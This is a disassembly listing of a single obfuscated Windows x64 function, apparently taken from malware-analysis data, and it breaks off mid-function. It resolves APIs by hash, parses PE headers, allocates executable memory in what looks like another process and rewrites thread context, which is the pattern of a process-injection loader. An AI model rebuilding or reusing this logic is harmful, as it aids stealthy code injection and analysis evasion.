Function at 0x14001b57c
Capabilities:
Encode data using xor
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1b8
mov r13, rdx
mov rdi, rcx
mov ecx, 0x18
call fcn.140015329
mov qword [rsp + 0x120], rax
mov ecx, 0x68
call fcn.140015329
mov rbx, rax
mov dword [rax], 0x68
mov dword [rax + 0x3c], 1
mov word [rax + 0x40], 0
mov rsi, qword [rsp + 0x120]
xor ecx, ecx
mov edx, 1
mov r8d, 0x2bf91925
mov r9d, 0x3c
call fcn.14001939f
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
mov dword [rsp + 0x28], 0x14
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov rdx, rdi
xor r8d, r8d
xor r9d, r9d
call rax
mov dword [rsp + 0x150], eax
mov eax, 0x469a496a
mov r15d, 0xffffffff
lea r12, [rsp + 0xb4]
mov r14d, 0x827525f6
mov esi, 0xc1710869
mov edi, 0xea16e1fe
mov dword [rsp + 0xb0], ecx
mov dword [rsp + 0xac], ecx
mov dword [rsp + 0xa8], ecx
mov dword [rsp + 0xa4], ecx
mov dword [rsp + 0xa0], ecx
mov dword [rsp + 0x9c], ecx
mov dword [rsp + 0x98], ecx
mov dword [rsp + 0x90], ecx
mov dword [rsp + 0x70], ecx
mov dword [rsp + 0x8c], ecx
mov dword [rsp + 0x94], ecx
cmp eax, 0xb673a96
jg 0x14001b6ef
cmp eax, 0xc271590c
jg 0x14001b755
cmp eax, 0xaf403518
jg 0x14001b8bc
cmp eax, 0x91778ee4
jle 0x14001ba38
cmp eax, 0x9959e9f4
jle 0x14001bde9
cmp eax, 0x9959e9f5
je 0x14001c203
cmp eax, 0x9d14a7b3
je 0x14001c220
cmp eax, 0xa0eb3d9d
jne 0x14001b68a
mov eax, 0x91778ee5
mov ecx, dword [rsp + 0x9c]
mov dword [rsp + 0xa0], ecx
jmp 0x14001b68a
cmp eax, 0x369bc54d
jle 0x14001b822
cmp eax, 0x674f88c9
jg 0x14001b8f8
cmp eax, 0x51dc7080
jle 0x14001bbee
cmp eax, 0x595de4a9
jle 0x14001be1f
cmp eax, 0x595de4aa
je 0x14001c23f
cmp eax, 0x5a0c7afd
je 0x14001c2d2
cmp eax, 0x5d17f42c
jne 0x14001b68a
mov eax, dword [rsp + 0x74]
cmp eax, 4
mov eax, 0x51dc7081
mov ecx, 0xfa5ca130
cmovl eax, ecx
jmp 0x14001b68a
cmp eax, 0xe0109b5b
jg 0x14001b934
cmp eax, 0xcf6df61a
jle 0x14001bc24
cmp eax, 0xd1076143
jle 0x14001be4d
cmp eax, 0xd1076144
je 0x14001c2fb
cmp eax, 0xd9592963
je 0x14001c404
cmp eax, 0xde77bc6c
jne 0x14001b68a
mov ecx, 0x4d0
call fcn.140015329
mov qword [rsp + 0x58], rax
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xd0], rax
mov rax, qword [rsp + 0xd0]
mov dword [rax + 0x30], 0x10000b
mov rax, qword [rsp + 0x120]
add rax, 8
mov qword [rsp + 0x128], rax
mov rax, qword [rsp + 0x128]
mov rdi, qword [rax]
mov rbx, qword [rsp + 0xd0]
xor ecx, ecx
mov edx, 5
mov r8d, 0x4a257b35
mov r9d, 0x1d3
call fcn.14001939f
mov rcx, rdi
mov edi, 0xea16e1fe
mov rdx, rbx
call rax
test eax, eax
mov eax, 0x6968bd2d
mov ecx, 0xd1076144
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0x25652334
jg 0x14001b98d
cmp eax, 0x12f8c3e0
jle 0x14001bc5a
cmp eax, 0x1789aef1
jle 0x14001be82
cmp eax, 0x1789aef2
je 0x14001c41c
cmp eax, 0x1967c733
je 0x14001c431
cmp eax, 0x2389b5c3
jne 0x14001b68a
mov rax, qword [rsp + 0x128]
mov rsi, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x37330e55
mov r9d, 0x77
call fcn.14001939f
mov rcx, rsi
mov esi, 0xc1710869
call rax
cmp eax, 0xffffffff
setne al
mov dword [rsp + 0x8c], eax
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0x78405921
jmp 0x14001b68a
cmp eax, 0xb60a2479
jle 0x14001bcc2
cmp eax, 0xbb91dae6
jle 0x14001beb6
cmp eax, 0xbb91dae7
je 0x14001c457
cmp eax, 0xc07c898c
je 0x14001c4f9
cmp eax, 0xc0ef62be
jne 0x14001b68a
jmp 0x14001be98
cmp eax, 0x76f8ef4c
jle 0x14001bd17
cmp eax, 0x7d76968e
jle 0x14001beeb
cmp eax, 0x7d76968f
je 0x14001c516
cmp eax, 0x7f2cea5d
je 0x14001c52e
cmp eax, 0x7f630c06
jne 0x14001b68a
jmp 0x14001beac
cmp eax, 0xfa5ca12f
jle 0x14001bd57
cmp eax, 0x153af0f
jle 0x14001bf16
cmp eax, 0x153af10
je 0x14001c618
cmp eax, 0x2d3d32f
je 0x14001c642
cmp eax, 0x6a408e2
jne 0x14001b68a
cmp dword [rsp + 0xf0], 2
mov eax, 0x674f88ca
mov ecx, 0xff1a2d6e
cmove eax, ecx
mov cl, byte [rsp + 0x55]
mov dword [rsp + 0x70], ecx
jmp 0x14001b68a
cmp eax, 0x2a06cb78
jg 0x14001bdb3
cmp eax, 0x29afab8c
je 0x14001cd5a
cmp eax, 0x25652335
je 0x14001c865
cmp eax, 0x28b2b1c2
jne 0x14001b68a
mov rax, qword [rsp + 0xc8]
add rax, 0x18
mov qword [rsp + 0x108], rax
mov rax, qword [rsp + 0x108]
mov edi, dword [rax + 0x38]
mov rbx, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
mov rsi, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x3d462d45
mov r9d, 0xa
call fcn.14001939f
mov dword [rsp + 0x20], 0x40
mov rcx, rsi
mov esi, 0xc1710869
mov rdx, rbx
mov r8, rdi
mov edi, 0xea16e1fe
mov r9d, 0x3000
call rax
test rax, rax
mov eax, 0x2a06cb79
mov ecx, 0xb673a97
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0x84ad1558
jg 0x14001bf47
cmp eax, 0x827525f6
je 0x14001c86f
cmp eax, 0x8463b82e
jne 0x14001b68a
mov r8, qword [rsp + 0x190]
movzx ecx, word [rsp + 0x66]
mov edx, ecx
xor edx, r15d
mov ebp, 0xffffbb53
and ecx, ebp
and edx, 0x44ac
or edx, ecx
mov ecx, edx
xor ecx, ebp
xor edx, 0x4000
mov ebp, ecx
mov ebx, 0xfffff000
and ebp, ebx
and edx, ebx
and ecx, 0xfff
or ecx, edx
mov edx, ebp
and edx, ecx
xor ecx, ebp
or ecx, edx
mov edx, ecx
xor edx, r15d
mov ebp, edx
mov ebx, 0x72ed
and ebp, ebx
and edx, ecx
and ecx, 0xffff8d12
or ecx, ebp
mov ebp, ecx
xor ebp, 0x500
xor ecx, ebx
mov ebx, ecx
mov edi, 0xffff8897
and ebx, edi
mov esi, 0x7768
and ebp, esi
or ebp, ebx
mov ebx, edx
xor ebx, r15d
or ecx, ebx
and ebx, edi
and edx, esi
or edx, ebx
xor edx, ebp
xor ecx, r15d
or ecx, edx
movzx ecx, cx
add ecx, dword [r8]
mov qword [rsp + 0x198], r12
mov rax, qword [rsp + 0x198]
mov dword [rsp + 0xb4], 0
mov qword [rsp + 0x1a0], rcx
movabs rcx, 0x856bc3ccf8cb0f63
mov rax, rcx
sub rax, qword [rsp + 0x1a0]
movabs rdx, 0xd7c96dc2f0642212
sub rax, rdx
sub rax, rcx
mov rcx, qword [rsp + 0x78]
movabs rbx, 0x13314f5934a09729
add rcx, rbx
movabs rdi, 0xf43133cf200665cb
add rcx, rdi
movabs rsi, 0x90783e57c193ae34
add rcx, rsi
sub rax, rcx
add rax, rdi
add rax, rbx
add rax, rdx
add rax, rsi
movabs rcx, 0xe5b0a83bf7abf9db
mov rsi, rcx
sub rsi, rax
movabs rax, 0x8373d1ad1b4ca48a
sub rsi, rax
sub rsi, rcx
add rsi, rax
mov rax, qword [rsp + 0x80]
mov rdi, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x32cb2a97
mov r9d, 0x5b
call fcn.14001939f
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, rdi
mov edi, 0xea16e1fe
mov rdx, rsi
mov esi, 0xc1710869
mov r8, r12
call rax
test eax, eax
mov eax, 0xf8c36436
mov ecx, 0xc0ef62be
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0x3970ce49
jg 0x14001bf72
cmp eax, 0x369bc54e
je 0x14001c891
cmp eax, 0x38a31d6c
jne 0x14001b68a
mov eax, 0x29afab8c
mov dword [rsp + 0xb0], 0
jmp 0x14001b68a
cmp eax, 0xc8601265
jg 0x14001bfa2
cmp eax, 0xc271590d
je 0x14001c8b0
cmp eax, 0xc30c79d9
jne 0x14001b68a
mov eax, 0xaf403519
mov dword [rsp + 0xf4], 0
jmp 0x14001b68a
cmp eax, 0xddedf56
jg 0x14001c006
cmp eax, 0xb673a97
je 0x14001c916
cmp eax, 0xc8df86e
jne 0x14001b68a
mov rax, qword [rsp + 0x168]
movsxd rax, dword [rax + 0x3c]
add rax, r13
mov qword [rsp + 0x170], rax
mov rax, qword [rsp + 0x170]
mov qword [rsp + 0xc8], rax
mov rax, qword [rsp + 0xc8]
cmp dword [rax], 0x4550
mov eax, 0xb893d089
mov ecx, 0xc271590d
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0xb20d7e81
jg 0x14001c04c
cmp eax, 0xaf403519
je 0x14001c93f
cmp eax, 0xafad0d75
jne 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0xcf6df61b
mov dword [rsp + 0xe0], 1
mov dword [rsp + 0x94], 0
jmp 0x14001b68a
cmp eax, 0x6d16a786
jg 0x14001c08a
cmp eax, 0x674f88ca
je 0x14001c970
cmp eax, 0x6968bd2d
jne 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov eax, 0x55940cf0
mov dword [rsp + 0xac], 0
jmp 0x14001b68a
cmp eax, 0xe49522d1
jg 0x14001c0c0
cmp eax, 0xe0109b5c
je 0x14001c985
cmp eax, 0xe328a282
jne 0x14001b68a
mov al, byte [rsp + 0x57]
and al, 1
mov byte [rsp + 0x53], al
mov eax, dword [rsp + 0xec]
mov dword [rsp + 0xb8], eax
mov rax, qword [rsp + 0x138]
mov ecx, dword [rsp + 0xb8]
cmp ecx, dword [rax]
mov eax, 0xc07c898c
mov ecx, 0xcc38dce9
cmovb eax, ecx
jmp 0x14001b68a
cmp eax, 0x3367959c
jg 0x14001c1d0
cmp eax, 0x2a06cb79
je 0x14001c99d
cmp eax, 0x2ecbf60b
jne 0x14001b68a
mov eax, 0xe49522d2
mov dword [rsp + 0xf8], 5
jmp 0x14001b68a
cmp eax, 0x91778ee5
je 0x14001caa2
cmp eax, 0x9350f4eb
jne 0x14001b68a
mov eax, 0xcf6df61b
mov dword [rsp + 0xe0], 0
mov cl, byte [rsp + 0x53]
mov dword [rsp + 0x94], ecx
jmp 0x14001b68a
cmp eax, 0x51dc7081
je 0x14001caba
cmp eax, 0x55940cf0
jne 0x14001b68a
mov eax, 0x29afab8c
mov ecx, dword [rsp + 0xac]
mov dword [rsp + 0xb0], ecx
jmp 0x14001b68a
cmp eax, 0xcf6df61b
je 0x14001cac6
cmp eax, 0xd07f2bea
jne 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov eax, 0xe0109b5c
mov dword [rsp + 0xa4], 0
jmp 0x14001b68a
cmp eax, 0x12f8c3e1
je 0x14001cae9
cmp eax, 0x16295269
jne 0x14001b68a
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov eax, 0x76f8ef4d
jmp 0x14001b68a
cmp eax, 0xb60a247a
je 0x14001cb27
cmp eax, 0xb893d089
jne 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov eax, 0x91778ee5
mov dword [rsp + 0xa0], 0
jmp 0x14001b68a
cmp eax, 0x76f8ef4d
je 0x14001cb6b
cmp eax, 0x78405921
jne 0x14001b68a
mov eax, 0x674f88ca
mov ecx, dword [rsp + 0x8c]
mov dword [rsp + 0x70], ecx
jmp 0x14001b68a
cmp eax, 0xfa5ca130
je 0x14001cb7d
cmp eax, 0xff1a2d6e
jne 0x14001b68a
cmp qword [rsp + 0x180], 0
mov eax, 0xc30c79d9
mov ecx, 0x595de4aa
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0x84ad1559
je 0x14001cb90
cmp eax, 0x8572f4c2
jne 0x14001b68a
mov eax, 0xe49522d2
mov dword [rsp + 0xf8], 7
jmp 0x14001b68a
cmp eax, 0x3970ce4a
je 0x14001cc6d
cmp eax, 0x469a496a
jne 0x14001b68a
cmp dword [rsp + 0x150], 0
mov eax, 0xde77bc6c
mov ecx, 0x38a31d6c
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0xc8601266
je 0x14001cc85
cmp eax, 0xcc38dce9
jne 0x14001b68a
mov rax, qword [rsp + 0x140]
mov rax, qword [rax]
mov ecx, dword [rsp + 0xb8]
lea rcx, [rcx + rcx*4]
lea rax, [rax + rcx*8]
mov qword [rsp + 0x148], rax
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0xfc], eax
cmp dword [rsp + 0xfc], 0
mov eax, 0x7f2cea5d
mov ecx, 0x355df0af
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0xddedf57
je 0x14001ccae
cmp eax, 0xfd03a6e
jne 0x14001b68a
mov eax, dword [rsp + 0xe8]
mov dword [rsp + 0xc0], eax
mov eax, dword [rsp + 0x154]
mov ecx, dword [rsp + 0xc0]
cmp ecx, eax
mov eax, 0x2ecbf60b
mov ecx, 0x84ad1559
cmovb eax, ecx
jmp 0x14001b68a
cmp eax, 0xb20d7e82
je 0x14001ccd7
cmp eax, 0xb5cc591e
jne 0x14001b68a
mov eax, dword [rsp + 0xc4]
inc eax
mov dword [rsp + 0xd8], eax
mov eax, 0x12f8c3e1
mov ecx, dword [rsp + 0x15c]
mov dword [rsp + 0xe4], ecx
jmp 0x14001b68a
cmp eax, 0x6d16a787
je 0x14001ccf1
cmp eax, 0x6ea86895
jne 0x14001b68a
mov rax, qword [rsp + 0x160]
mov eax, 0x55940cf0
mov ecx, dword [rsp + 0xa8]
mov dword [rsp + 0xac], ecx
jmp 0x14001b68a
cmp eax, 0xe49522d2
je 0x14001cd36
cmp eax, 0xf8c36436
jne 0x14001b68a
mov rax, qword [rsp + 0x180]
add dword [rsp + 0xb4], eax
mov rax, qword [rsp + 0x1a0]
movabs rcx, 0xe78ba03680bc9049
sub rax, rcx
movabs rdx, 0x9ea8dba6b04b0a42
add rax, rdx
add rax, rcx
movabs rcx, 0x9f2cd5cbdfc9be34
add rax, rcx
sub rcx, rax
movabs rbx, 0xda77680218f2fcca
mov rax, rbx
sub rax, qword [rsp + 0x78]
sub rax, rbx
movabs rbx, 0xa8db64fd52f284f4
sub rcx, rbx
add rcx, rax
add rcx, rbx
movabs rax, 0x668b143f2374ddc1
add rcx, rax
movabs rsi, 0xd0cafd954794a278
add rcx, rsi
add rcx, rdx
sub rsi, rcx
movabs rcx, 0xf8861bf85e61f13a
sub rsi, rcx
add rsi, rax
add rsi, rcx
mov rax, qword [rsp + 0x80]
mov rdi, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x176b22e3
mov r9d, 0x18
call fcn.14001939f
mov qword [rsp + 0x20], 0
mov r9d, 4
mov rcx, rdi
mov edi, 0xea16e1fe
mov rdx, rsi
mov esi, 0xc1710869
mov r8, r12
call rax
test eax, eax
mov eax, 0x7f630c06
mov ecx, 0x16295269
cmove eax, ecx
jmp 0x14001b68a
cmp eax, 0x3367959d
je 0x14001cd50
cmp eax, 0x355df0af
jne 0x14001b68a
mov eax, 0x9d14a7b3
mov dword [rsp + 0xdc], 4
mov cl, byte [rsp + 0x53]
mov byte [rsp + 0x54], cl
jmp 0x14001b68a
mov eax, dword [rsp + 0x74]
mov dword [rsp + 0xf0], eax
mov eax, 0x6a408e2
mov cl, byte [rsp + 0x56]
mov byte [rsp + 0x55], cl
jmp 0x14001b68a
mov al, byte [rsp + 0x54]
and al, 1
mov byte [rsp + 0x56], al
mov eax, dword [rsp + 0xdc]
mov dword [rsp + 0x74], eax
mov eax, 0x5d17f42c
jmp 0x14001b68a
mov rax, qword [rsp + 0x78]
mov rcx, qword [rsp + 0x108]
mov ecx, dword [rcx + 0x10]
movabs rdx, 0xffbfef93ff076946
sub rax, rdx
movabs rbp, 0x4d44c07a1b4a3783
sub rcx, rbp
add rcx, rax
add rcx, rbp
add rcx, rdx
mov rax, qword [rsp + 0xd0]
mov qword [rax + 0x80], rcx
mov rax, qword [rsp + 0x128]
mov rsi, qword [rax]
mov rdi, qword [rsp + 0xd0]
xor ecx, ecx
mov edx, 5
mov r8d, 0x4a254335
mov r9d, 0x1d4
call fcn.14001939f
mov rcx, rsi
mov esi, 0xc1710869
mov rdx, rdi
mov edi, 0xea16e1fe
call rax
test eax, eax
mov eax, 0xc8601266
mov ecx, 0x2389b5c3
cmove eax, ecx
jmp 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0x7d76968f
mov dword [rsp + 0x98], 0
jmp 0x14001b68a
lea rsi, [rsp + 0x78]
mov qword [rsp + 0x160], rsi
mov rax, qword [rsp + 0x160]
mov rax, qword [rsp + 0xd0]
movabs rbx, 0x6d4c7b74b7a14808
mov rcx, rbx
movabs rdx, 0x4b62a12001b816c5
sub rcx, rdx
add rcx, qword [rax + 0x88]
add rcx, rdx
movabs rax, 0x764aef3b65c9bc57
sub rcx, rax
movabs rdx, 0x55dcca2605e83fa2
add rcx, rdx
add rcx, rax
movabs rdi, 0x4cbd2d5fc0abfb56
mov rax, rdi
sub rax, rcx
add rax, rdx
add rax, 0xfffffffffffffff0
sub rdi, rax
movabs rcx, 0x89bce43d0b88b7f9
mov rax, rcx
sub rax, rbx
sub rax, rcx
movabs rcx, 0x475e6e30761ec7bb
sub rdi, rcx
add rdi, rax
add rdi, rcx
mov rax, qword [rsp + 0x120]
mov qword [rsp + 0x80], rax
mov rax, qword [rsp + 0x80]
mov rbx, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x32cb2a97
mov r9d, 0x5b
call fcn.14001939f
mov qword [rsp + 0x20], 0
mov r9d, 8
mov rcx, rbx
mov rdx, rdi
mov edi, 0xea16e1fe
mov r8, rsi
mov esi, 0xc1710869
call rax
test eax, eax
mov eax, 0x153af10
mov ecx, 0x369bc54e
cmove eax, ecx
jmp 0x14001b68a
mov eax, 0x7d76968f
mov ecx, dword [rsp + 0x90]
mov dword [rsp + 0x98], ecx
jmp 0x14001b68a
mov eax, 0xe328a282
mov dword [rsp + 0xec], 0
jmp 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0x674f88ca
mov dword [rsp + 0x70], 0
jmp 0x14001b68a
mov rax, qword [rsp + 0x178]
movzx eax, word [rax + 2]
mov rcx, qword [rsp + 0x130]
add rcx, 0x28
mov qword [rsp + 0x138], rcx
mov rcx, qword [rsp + 0x138]
mov dword [rcx], eax
mov rax, qword [rsp + 0x170]
mov ecx, 0x108
add rax, rcx
mov rcx, qword [rsp + 0x130]
add rcx, 0x30
mov qword [rsp + 0x140], rcx
mov rcx, qword [rsp + 0x140]
mov qword [rcx], rax
mov rdi, qword [rsp + 0x78]
mov rax, qword [rsp + 0x80]
mov rbx, qword [rax]
xor ecx, ecx
mov edx, 5
mov r8d, 0x25917508
mov r9d, 0x1cd
call fcn.14001939f
mov rcx, rbx
mov rdx, rdi
mov edi, 0xea16e1fe
call rax
test eax, eax
mov eax, 0x5a0c7afd
mov ecx, 0x28b2b1c2
cmove eax, ecx
jmp 0x14001b68a
mov eax, 0x6a408e2
mov dword [rsp + 0xf0], 2
mov cl, byte [rsp + 0x53]
mov byte [rsp + 0x55], cl
jmp 0x14001b68a
mov eax, 0xa0eb3d9d
mov ecx, dword [rsp + 0x98]
mov dword [rsp + 0x9c], ecx
jmp 0x14001b68a
mov rax, qword [rsp + 0x148]
mov eax, dword [rax + 0xc]
movabs rbp, 0xb31f68c6892675c4
mov rcx, rbp
sub rcx, qword [rsp + 0x78]
movabs rdi, 0x9b327371453cae49
mov rdx, rdi
movabs rbx, 0x42e9a0b8c5e2135f
sub rdx, rbx
sub rdx, rdi
movabs rdi, 0xa2991d446a5b4327
add rdx, rdi
sub rdx, rax
sub rdx, rdi
movabs rsi, 0xc69ef516e62ab27d
add rdx, rsi
add rdx, rbx
sub rsi, rdx
add rsi, rbp
movabs rax, 0x2bc842019dbd7f10
add rcx, rax
sub rsi, rcx
add rsi, rax
mov rax, qword [rsp + 0x148]
mov edi, dword [rax + 0x10]
mov ebx, dword [rsp + 0xfc]
add rbx, r13
mov rax, qword [rsp + 0x80]
mov r14, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x176b22e3
mov r9d, 0x18
call fcn.14001939f
mov qword [rsp + 0x20], 0
mov rcx, r14
mov r14d, 0x827525f6
mov rdx, rsi
mov esi, 0xc1710869
mov r8, rbx
mov r9, rdi
mov edi, 0xea16e1fe
call rax
test rax, rax
mov eax, 0x9350f4eb
mov ecx, 0xafad0d75
cmove eax, ecx
jmp 0x14001b68a
mov qword [rsp + 0x168], r13
mov rax, qword [rsp + 0x168]
movzx eax, word [rax]
cmp eax, 0x5a4d
mov eax, 0xd07f2bea
mov ecx, 0xc8df86e
cmove eax, ecx
jmp 0x14001b68a
mov r14d, 0xe6736994
mov r12d, 0x41f4372
mov qword [rsp + 0x1a8], r13
mov rax, qword [rsp + 0x140]
mov rax, qword [rax]
mov ecx, dword [rsp + 0xbc]
lea rcx, [rcx + rcx*4]
lea rax, [rax + rcx*8]
mov qword [rsp + 0x188], rax
xor eax, eax
mov byte [rsp + 0x110], al
mov dword [rsp + 0x114], 0x41f24c04
mov dword [rsp + 0x118], 0x2d975d45
cmp byte [rsp + 0x110], al
mov r10d, 0xb585dc2e
mov r11d, 0x4a7a23d1
mov r13d, 0x15757e3b
jne 0x14001c820
xor r8d, r8d
mov edx, dword [rsp + r8*4 + 0x114]
mov r9d, edx
xor r9d, r15d
mov ecx, edx
or ecx, 0xc1510001
mov ebp, r9d
or ebp, 0x200868
and ecx, esi
mov eax, r9d
and eax, 0x3482e792
or eax, ecx
and ebp, esi
mov ecx, edx
and ecx, 0xa0c1004
or ecx, ebp
xor ecx, eax
mov eax, ecx
xor eax, r15d
and eax, 0xcb5d1005
and ecx, 0x34a2effa
or ecx, eax
mov eax, ecx
xor eax, r15d
and eax, 0x7e9abb51
and ecx, 0x816544ae
or ecx, eax
mov ebx, ecx
xor ebx, 0x800440ae
xor ecx, 0x14881a01
and ecx, 0x15e91e01
and ebx, edi
or ebx, ecx
mov eax, ebx
xor eax, 0x1bc2a1c6
xor ebx, edi
and ebx, eax
and edx, 0x5e47a061
mov eax, r9d
and eax, 0xa1b85f9e
or eax, edx
xor eax, 0x506c1fa6
and r9d, 0xe2bbfc7
or r9d, eax
mov edx, ebx
xor edx, r15d
mov eax, edx
and eax, r10d
and ebx, r11d
or ebx, eax
mov ecx, r9d
xor ecx, r11d
and ecx, r9d
mov esi, r9d
mov edi, ecx
xor edi, r15d
mov eax, edi
and eax, r13d
and ecx, 0xea8a81c4
or ecx, eax
mov eax, edx
and eax, r9d
xor edx, r9d
or r9d, r10d
xor esi, r15d
or edi, r9d
and r9d, r13d
and esi, 0x4a0a01c0
or esi, r9d
xor esi, ecx
xor edi, r15d
or edi, esi
mov esi, 0xc1710869
mov ecx, ebx
xor ecx, r15d
and ecx, edi
xor edi, r15d
and edi, ebx
or edi, ecx
or edx, eax
mov eax, edx
xor eax, r15d
and eax, 0xfbe0bc8d
and edx, r12d
or edx, eax
xor edx, r12d
mov eax, edi
and eax, edx
xor edx, edi
mov edi, 0xea16e1fe
or edx, eax
mov eax, edx
xor eax, r15d
mov ecx, edx
or ecx, 0xc4436810
mov ebp, eax
and ecx, r14d
and eax, 0x18c8069
or eax, ecx
or ebp, 0x22300184
and ebp, r14d
and edx, 0x18001602
or edx, ebp
xor edx, eax
mov dword [rsp + r8*4 + 0x114], edx
test r8, r8
mov r8d, 1
je 0x14001c6b9
mov rcx, qword [rsp + 0x188]
mov r8d, 7
lea rdx, [rsp + 0x114]
call fcn.140014f6f
test eax, eax
mov eax, 0x8572f4c2
mov ecx, 0xb60a247a
cmove eax, ecx
lea r12, [rsp + 0xb4]
mov r14d, 0x827525f6
mov r13, qword [rsp + 0x1a8]
jmp 0x14001b68a
mov eax, 0x595de4aa
jmp 0x14001b68a
mov eax, dword [rsp + 0xb8]
inc eax
mov dword [rsp + 0xec], eax
mov eax, 0xe328a282
mov cl, byte [rsp + 0x56]
mov byte [rsp + 0x57], cl
jmp 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov eax, 0x6ea86895
mov dword [rsp + 0xa8], 0
jmp 0x14001b68a
mov ecx, 0x58
call fcn.140015329
mov qword [rsp + 0x68], rax
mov rax, qword [rsp + 0x68]
mov qword [rsp + 0x130], rax
mov rax, qword [rsp + 0x130]
mov rcx, qword [rsp + 0xc8]
mov qword [rax + 0x18], rcx
mov rax, qword [rsp + 0xc8]
add rax, 4
mov qword [rsp + 0x178], rax
mov rax, qword [rsp + 0x178]
movzx eax, word [rax]
cmp eax, 0x8664
mov eax, 0xddedf57
mov ecx, 0xbb91dae7
cmove eax, ecx
jmp 0x14001b68a
mov rcx, qword [rsp + 0x58]
call fcn.14001519e
mov rcx, qword [rsp + 0x68]
call fcn.14001519e
mov eax, 0xd9592963
mov dword [rsp + 0x90], 0
jmp 0x14001b68a
mov eax, dword [rsp + 0xf4]
mov dword [rsp + 0xbc], eax
mov rax, qword [rsp + 0x138]
mov ecx, dword [rsp + 0xbc]
cmp ecx, dword [rax]
mov eax, 0x3367959d
mov ecx, 0x2d3d32f
cmovb eax, ecx
jmp 0x14001b68a
mov eax, 0xd9592963
mov ecx, dword [rsp + 0x70]
mov dword [rsp + 0x90], ecx
jmp 0x14001b68a
mov eax, 0x6ea86895
mov ecx, dword [rsp + 0xa4]
mov dword [rsp + 0xa8], ecx
jmp 0x14001b68a
mov rdi, qword [rsp + 0x78]
mov rax, qword [rsp + 0x108]
movabs rbx, 0xbee7cf3f9cc3b39d
lea rcx, [rdi + rbx]
movabs rbp, 0x93ed4f0e48b268aa
mov rdx, rbp
movabs rsi, 0x2c746eebe675f53c
sub rdx, rsi
sub rdx, rbp
sub rdx, rcx
add rdx, qword [rax + 0x18]
movabs rcx, 0x3689110a6093b560
add rdx, rcx
add rdx, rbx
movabs rbp, 0x86e85f0e80b77b6d
add rdx, rbp
sub rcx, rdx
add rcx, rbp
movabs rdx, 0xa84538f6a8d649fe
add rcx, rdx
movabs rbp, 0x9d3115f51d4ec18a
add rcx, rbp
sub rcx, rsi
sub rcx, rbp
movabs rbp, 0x9f765fe182401d3b
add rcx, rbp
sub rcx, rdx
sub rcx, rbp
mov qword [rsp + 0x180], rcx
mov qword [rax + 0x18], rdi
mov rax, qword [rsp + 0x108]
mov esi, dword [rax + 0x3c]
mov rax, qword [rsp + 0x80]
mov rbx, qword [rax]
xor ecx, ecx
mov edx, 1
mov r8d, 0x176b22e3
mov r9d, 0x18
call fcn.14001939f
mov qword [rsp + 0x20], 0
mov rcx, rbx
mov rdx, rdi
mov edi, 0xea16e1fe
mov r8, r13
mov r9, rsi
mov esi, 0xc1710869
call rax
test rax, rax
mov eax, 0x1789aef2
mov ecx, 0x1967c733
cmove eax, ecx
jmp 0x14001b68a
mov eax, 0xe0109b5c
mov ecx, dword [rsp + 0xa0]
mov dword [rsp + 0xa4], ecx
jmp 0x14001b68a
mov eax, dword [rsp + 0x74]
cmp eax, 4
jmp 0x14001cb82
mov eax, 0x9d14a7b3
mov ecx, dword [rsp + 0x94]
mov byte [rsp + 0x54], cl
mov ecx, dword [rsp + 0xe0]
mov dword [rsp + 0xdc], ecx
jmp 0x14001b68a
mov eax, dword [rsp + 0xd8]
mov dword [rsp + 0xc4], eax
mov eax, dword [rsp + 0xe4]
mov dword [rsp + 0x104], eax
mov eax, dword [rsp + 0x158]
mov ecx, dword [rsp + 0xc4]
cmp ecx, eax
mov eax, 0x3970ce4a
mov ecx, 0x6d16a787
cmovb eax, ecx
jmp 0x14001b68a
mov rax, qword [rsp + 0x188]
mov eax, dword [rax + 0x14]
mov dword [rsp + 0x100], eax
mov rax, qword [rsp + 0xc8]
mov rax, qword [rsp + 0xc8]
mov eax, dword [rax + 0xb4]
mov dword [rsp + 0x154], eax
mov eax, 0xfd03a6e
mov dword [rsp + 0xe8], 0
jmp 0x14001b68a
mov rax, qword [rsp + 0x198]
mov eax, 0xb5cc591e
jmp 0x14001b68a
cmp dword [rsp + 0x74], 0
mov eax, 0x9959e9f5
cmove eax, r14d
jmp 0x14001b68a
mov eax, dword [rsp + 0x100]
add eax, dword [rsp + 0xc0]
add rax, r13
mov qword [rsp + 0x190], rax
mov ebp, dword [rsp + 0xc0]
add ebp, 8
mov rax, qword [rsp + 0x190]
mov eax, dword [rax + 4]
